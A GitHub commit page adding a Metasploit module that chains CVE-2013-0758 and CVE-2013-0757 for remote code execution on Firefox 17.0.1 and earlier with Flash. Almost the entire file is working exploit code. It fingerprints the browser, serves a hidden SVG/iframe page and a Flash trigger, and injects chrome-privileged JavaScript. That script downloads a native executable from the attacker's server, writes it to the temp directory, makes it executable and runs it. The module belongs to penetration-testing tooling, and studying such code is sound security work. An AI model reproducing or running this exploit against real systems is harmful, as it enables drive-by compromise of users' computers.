Skip to content

Commit 81ad280

Browse files
committed
Landing rapid7#1856 - CVE-2013-0758 Firefox <= 17.0.1 + Flash RCE
Chained exploit using CVE-2013-0758 and CVE-2013-0757
2 parents d44a158 + db90423 commit 81ad280

File tree

2 files changed

+294
-0
lines changed

2 files changed

+294
-0
lines changed

data/exploits/cve-2013-0758.swf

926 Bytes
Binary file not shown.
Lines changed: 294 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,294 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpServer::HTML
14+
include Msf::Exploit::EXE
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'Firefox 17.0.1 + Flash Privileged Code Injection',
19+
'Description' => %q{
20+
This exploit gains remote code execution on Firefox 17.0.1 and all previous
21+
versions, provided the user has installed Flash. No memory corruption is used.
22+
23+
First, a Flash object is cloned into the anonymous content of the SVG
24+
"use" element in the <body> (CVE-2013-0758). From there, the Flash object
25+
can navigate a child frame to a URL in the chrome:// scheme.
26+
27+
Then a separate exploit (CVE-2013-0757) is used to bypass the security wrapper
28+
around the child frame's window reference and inject code into the chrome://
29+
context. Once we have injection into the chrome execution context, we can write
30+
the payload to disk, chmod it (if posix), and then execute.
31+
32+
Note: Flash is used here to trigger the exploit but any Firefox plugin
33+
with script access should be able to trigger it.
34+
},
35+
'License' => MSF_LICENSE,
36+
'Targets' =>
37+
[
38+
[ 'Automatic',
39+
{
40+
'Platform' => ['win', 'linux', 'osx'],
41+
'Arch' => ARCH_X86
42+
}
43+
],
44+
[ 'Windows x86 (Native Payload)',
45+
{
46+
'Platform' => 'win',
47+
'Arch' => ARCH_X86
48+
}
49+
],
50+
[ 'Linux x86 (Native Payload)',
51+
{
52+
'Platform' => 'linux',
53+
'Arch' => ARCH_X86
54+
}
55+
],
56+
[ 'Mac OS X x86 (Native Payload)',
57+
{
58+
'Platform' => 'osx',
59+
'Arch' => ARCH_X86,
60+
}
61+
]
62+
],
63+
'DefaultTarget' => 0,
64+
'Author' =>
65+
[
66+
'Marius Mlynski', # discovery & bug report
67+
'joev', # metasploit module
68+
'sinn3r' # metasploit fu
69+
],
70+
'References' =>
71+
[
72+
['CVE', '2013-0758'], # navigate a frame to a chrome:// URL
73+
['CVE', '2013-0757'], # bypass Chrome Object Wrapper to talk to chrome://
74+
['URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-15.html'],
75+
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=813906']
76+
],
77+
'DisclosureDate' => 'Jan 08 2013'
78+
))
79+
80+
register_options(
81+
[
82+
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ] ),
83+
OptBool.new('DEBUG', [false, "Display some alert()'s for debugging the payload.", false])
84+
], Auxiliary::Timed)
85+
86+
end
87+
88+
def on_request_uri(cli, request)
89+
my_target = get_target(request.headers['User-Agent'])
90+
if my_target.nil?
91+
print_error("User agent does not match an available payload type, bailing.")
92+
send_not_found(cli)
93+
return
94+
end
95+
96+
target = my_target
97+
98+
if request.uri =~ /\.swf$/
99+
# send Flash .swf for navigating the frame to chrome://
100+
print_status("Sending .swf trigger.")
101+
send_response(cli, flash_trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
102+
elsif request.uri =~ /\.bin/
103+
# send the binary payload to drop & exec
104+
print_status("Child frame navigated. Sending binary payload to drop & execute.")
105+
send_response(cli, dropped_file_contents(cli, target), { 'Content-Type' => 'application/octet-stream' })
106+
else
107+
# send initial HTML page
108+
print_status("Target selected: #{target.name}")
109+
print_status("Sending #{self.name}")
110+
send_response_html(cli, generate_html(target))
111+
end
112+
handler(cli)
113+
end
114+
115+
# @return [String] the encoded executable for dropping onto the client's machine
116+
def dropped_file_contents(cli, target)
117+
return if ((p=regenerate_payload(cli)) == nil)
118+
opts = target.opts
119+
exe = ''
120+
121+
case target.name
122+
when /windows/i
123+
opts = opts.merge({:code=>p.encoded})
124+
exe = generate_payload_exe(opts)
125+
when /linux/i
126+
exe = Msf::Util::EXE.to_linux_x86_elf(framework, p.encoded, opts)
127+
when /os x/i
128+
exe = Msf::Util::EXE.to_osx_x86_macho(framework, p.encoded, opts)
129+
end
130+
131+
return exe
132+
end
133+
134+
# @return [Msf::Module::Target] that matches the client's user-agent header
135+
def get_target(agent)
136+
# Not firefox, bail
137+
if agent !~ /firefox/i
138+
return nil
139+
end
140+
141+
# User wants to manually specify a target, respect that
142+
if target != targets[0]
143+
return target
144+
end
145+
146+
# os detection
147+
if agent =~ /windows/i
148+
targets[1]
149+
elsif agent =~ /linux/i
150+
targets[2]
151+
elsif agent =~ /macintosh/i and agent =~ /intel/i
152+
targets[3]
153+
else
154+
nil
155+
end
156+
end
157+
158+
# @return [String] the contents of the .swf file used to trigger the exploit
159+
def flash_trigger
160+
swf_path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-0758.swf")
161+
@flash_trigger ||= File.read(swf_path)
162+
end
163+
164+
# @return [String] the filename that will be used when the payload is dropped
165+
def payload_filename(target)
166+
if target.name =~ /Windows x86/i
167+
"#{Rex::Text.rand_text_alphanumeric(8)}.exe"
168+
else
169+
"#{Rex::Text.rand_text_alphanumeric(8)}.bin"
170+
end
171+
end
172+
173+
# @return [String] containing javascript code to execute with chrome privileges
174+
def js_payload(target)
175+
%Q|
176+
#{js_debug("Injection successful. JS executing with chrome privileges.")}
177+
var x = new XMLHttpRequest;
178+
x.overrideMimeType('text/plain; charset=x-user-defined');
179+
x.open('POST', '#{base_url}.bin', false);
180+
x.send(null);
181+
#{js_debug("'Payload: '+x.responseText", "")}
182+
var file = Components.classes["@mozilla.org/file/directory_service;1"]
183+
.getService(Components.interfaces.nsIProperties)
184+
.get("TmpD", Components.interfaces.nsIFile);
185+
file.append('#{payload_filename(target)}');
186+
var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"]
187+
.createInstance(Components.interfaces.nsIFileOutputStream);
188+
stream.init(file, 0x04 \| 0x08 \| 0x20, 0666, 0);
189+
stream.write(x.responseText, x.responseText.length);
190+
if (stream instanceof Components.interfaces.nsISafeOutputStream) {
191+
stream.finish();
192+
} else {
193+
stream.close();
194+
}
195+
#{chmod_code(target)}
196+
#{js_debug("'Downloaded to: '+file.path", "")}
197+
var process = Components.classes["@mozilla.org/process/util;1"]
198+
.createInstance(Components.interfaces.nsIProcess);
199+
process.init(file);
200+
process.run(false, [], 0);
201+
|
202+
end
203+
204+
# @return [String] containing javascript that will alert a debug string
205+
# if the DEBUG is set to true
206+
def js_debug(str, quote="'")
207+
if datastore['DEBUG'] then "alert(#{quote}#{str}#{quote})" else '' end
208+
end
209+
210+
# @return [String] containing javascript that will chmod the dropped executable
211+
def chmod_code(target)
212+
return '' if target.name == 'Windows x86 (Native Payload)'
213+
%Q|
214+
var chmod=Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
215+
chmod.initWithPath("/bin/chmod");
216+
var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
217+
process.init(chmod);
218+
process.run(true, ["+x", file.path], 2);
219+
|
220+
end
221+
222+
# @return [String] URL for sending requests back to the module
223+
def base_url
224+
proto = (datastore["SSL"] ? "https" : "http")
225+
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
226+
"#{proto}://#{myhost}:#{datastore['SRVPORT']}#{get_resource}"
227+
end
228+
229+
# @return [String] HTML that is sent in the first response to the client
230+
def generate_html(target)
231+
vars = {
232+
:symbol_id => 'a',
233+
:random_domain => 'safe',
234+
:payload => js_payload(target),
235+
:payload_var => 'c',
236+
:payload_key => 'k',
237+
:payload_obj_var => 'payload_obj',
238+
:interval_var => 'itvl',
239+
:access_string => 'access',
240+
:frame_ref => 'frames[0]',
241+
:frame_name => 'n',
242+
:loader_path => "#{base_url}.swf",
243+
:content => self.datastore['CONTENT'] || ''
244+
}
245+
%Q|
246+
<!doctype html>
247+
<html>
248+
<head>
249+
<base href="chrome://browser/content/">
250+
</head>
251+
<body>
252+
253+
<svg style='position: absolute;top:-500px;left:-500px;width:1px;height:1px'>
254+
<symbol id="#{vars[:symbol_id]}">
255+
<foreignObject>
256+
<object></object>
257+
</foreignObject>
258+
</symbol>
259+
<use />
260+
</svg>
261+
262+
<script>
263+
var #{vars[:payload_obj_var]} = #{JSON.unparse({vars[:payload_key] => vars[:payload]})};
264+
var #{vars[:payload_var]} = #{vars[:payload_obj_var]}['#{vars[:payload_key]}'];
265+
function $() {
266+
document.querySelector('base').href = "http://www.#{vars[:random_domain]}.com/";
267+
}
268+
function _() {
269+
return '#{vars[:frame_name]}';
270+
}
271+
var #{vars[:interval_var]} = setInterval(function(){
272+
try{ #{vars[:frame_ref]}['#{vars[:access_string]}'] }
273+
catch(e){
274+
clearInterval(#{vars[:interval_var]});
275+
var p = Object.getPrototypeOf(#{vars[:frame_ref]});
276+
var o = {__exposedProps__: {setTimeout: "rw", call: "rw"}};
277+
Object.prototype.__lookupSetter__("__proto__").call(p, o);
278+
p.setTimeout.call(#{vars[:frame_ref]}, #{vars[:payload_var]}, 1);
279+
}
280+
}, 100);
281+
document.querySelector('object').data = "#{vars[:loader_path]}";
282+
document.querySelector('use').setAttributeNS(
283+
"http://www.w3.org/1999/xlink", "href", location.href + "##{vars[:symbol_id]}"
284+
);
285+
</script>
286+
287+
<iframe style="position:absolute;top:-500px;left:-500px;width:1px;height:1px"
288+
name="#{vars[:frame_name]}"></iframe>
289+
#{vars[:content]}
290+
</body>
291+
</html>
292+
|
293+
end
294+
end

0 commit comments

Comments
 (0)